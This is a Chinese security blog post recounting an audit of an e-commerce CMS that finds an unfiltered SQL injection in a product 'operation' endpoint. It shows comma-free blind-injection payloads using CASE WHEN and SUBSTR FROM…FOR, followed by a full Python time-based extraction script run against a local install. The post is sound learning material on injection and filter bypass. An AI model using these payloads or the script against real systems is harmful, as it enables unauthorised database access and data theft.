从代码审计到绕逗号盲注python脚本编写 - 嘶吼 RoarTalk – 网络安全行业综合服务平台,4hou.com

从代码审计到绕逗号盲注python脚本编写

嘶吼用户KvR8 技术 2021-10-15 15:11:09
250539
收藏

导语:之前审计的一个电商管理的cms,大部分功能都需要登录,本人才疏学浅,在登录功能和验证功能没有看出缺陷。下面直接进行审计。

首先恭喜我的好朋友jobs拿下上周的第三,这次希望这篇文章能帮助到大家,这次是之前审计的一个电商管理的cms,大部分功能都需要登录,本人才疏学浅,在登录功能和验证功能没有看出缺陷。下面直接进行审计。

1.路由的确定

由于我代码水平并不是很高,而且现在大部分cms采用mvc形式编写直接看路由文件比较浪费时间。但是代码水平厉害的可以看看路由,有可能有文件包含或者反序列化之类的意想不到的收获。但是这并不是说其他文件看不懂也不看了,这样就会错失很多学习和挖洞的机会,就像上次那个漫画的cms审计(jobs上周那篇文章),我们两个就是一筹莫展的时候,我们一个一个文件一行一行看,最终找到了那个越权。所以说代码审计还是得细心,有耐心,这篇文章也几次警示我代码审计的要点就是细心!言归正传,那我不看路由文件怎么确定的路由呢,就是一个字:猜。随便点个功能,然后看着文件夹里的php文件名去猜路由。比如

img

module文件夹下的AdminLoin文件夹,对应的路由就是index.php?module=AdminLogin,index.php就是入口文件,无需多言。虽然他的文件夹名字是model但是我看了里面的功能和mvc中的控制器功能有点像,很多实现功能的重要函数都写在里面。用这种方法路由就可以基本确定了。路由类似于这种:

img

2.从兴奋到失落

在文件open\app\LKT\webapp\modules\product\actions\operationAction.class.php中

img

第十六行获取id,第十九行变成数组,之后遍历数组的时候21行直接进入SQL语句,22行执行,这里没有任何过滤。当时特别的兴奋,然后直接上去单引号报错,sqlmap直接跑,单引号确实报错了,但是sqlmap啥也没跑出来,然后-v 3看sqlmap的payload

img

手工调试payload:' and substr(database(),1,1)='l'%23

img

发现还是不行,最后手工构造中有一条没有报错。

img

payloa:' and database()='lk'%23 但是这是因为我知道我本地的数据库名,如果是实战的话这就很鸡肋了。不想就这样结束了。 然后打开phpstorm调试尝试正常的payload:' and substr(database(),1,1)='l'%23

img

可以看到我们的payload被分成数组了,现在才看到其实注释都写了用逗号分割数组,还傻乎乎的用正常语句试了半天。

3.柳暗花明

这样的话逗号就不能出现在payload里。突然我想起来之前绕waf的时候看过一篇文章是可以绕过逗号的,之前从来没碰到过需要绕逗号,所以还得去查,然后发现case when 条件1 then 执行语句 else end 1这种语句可以代替if语句,其实这个洞不用if也可以,而且更简单,但是为了我们的python脚本适用性更广,所以采用时间盲注的方式,所以要替代掉if语句。那么if解决了,还有substr怎么办呢,根据网上师傅们的文章发现from n for 1可以替代substr。

举个例子if(ascii(substr(database(),1,1))>0,sleep(3),1)如果需要绕过逗号就要转化为:case when ascii(substr(database() from 1 for 1))>0 then sleep(3) else 1 end。这样的话就简单了

把新的payload:' and case when ascii(substr(database() from 1 for 1))>0 then sleep(3) else 1 end%23执行之后发现成功延迟三秒,这时候又兴奋了起来,然后就是python脚本的编写,因为盲注用手来确实有点累人,所以写个脚本就简单了。

4.又陷僵局

这时候以为成功就在眼前,心里都准备庆祝了,然后发现啥也没跑出来。

img

最后一看是cookie没加到heads里面,所以没又限权访问这个url自然没有用。 把cookie加上之后就跑处数据了。

img

脚本源码,里面的需要修改的自己改一下就好了 `#!/usr/bin/env python

-- coding: cp936 --

import requests
import time
headers = {'User-Agent':'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36','Cookie':'admin_mojavi=9lv2rh3d7lcqc14r1o1q3orjnq'}
chars = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.'
database = ''
global length
for l in range(1,20):
Url = "http://127.0.0.1/open/app/LKT/index.php?module=product&action=operation&id=1' and case when (length(database()))={0} then sleep(3) else 1 end%23"
UrlFormat = Url.format(l)
start_time0 = time.time()
a=requests.get(UrlFormat,headers=headers)
print(UrlFormat)
if time.time() - start_time0 > 2:
print('database length is ' + str(l))
global length
length = str(l)
break
else:
pass
for i in range(1,int(length)+1):
for char in chars:
charAscii = ord(char)
url = "http://127.0.0.1/open/app/LKT/index.php?module=product&action=operation&id=1' and case when ascii(substr(database() from {0} for 1))={1} then sleep(3) else 1 end%23"
urlformat = url.format(i,charAscii)
start_time = time.time()
requests.get(urlformat,headers=headers)
print(urlformat)
if time.time() - start_time > 2:
database+=char
print('database: ',database)
break
else:
pass
print('database is ' + database)`
总结

希望这篇文章能给喜欢网安的人一些小小的帮助,我也是看别人文章一步一步能挖到洞,俗话说喝水不忘挖井人,还是得分享出来让大家一起交流,过几天要参加人生中第一次ctf了,创作不易,大家点个赞支持一下,给我加加油哈哈哈哈。

如若转载,请注明原文地址
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论

 
本站4hou.com,所使用的字体和图片文字等素材部分来源于原作者或互联网共享平台。如使用任何字体和图片文字有侵犯其版权所有方的,嘶吼将配合联系原作者核实,并做出删除处理。
©2022 北京嘶吼文化传媒有限公司 京ICP备16063439号-1 本站由 提供云计算服务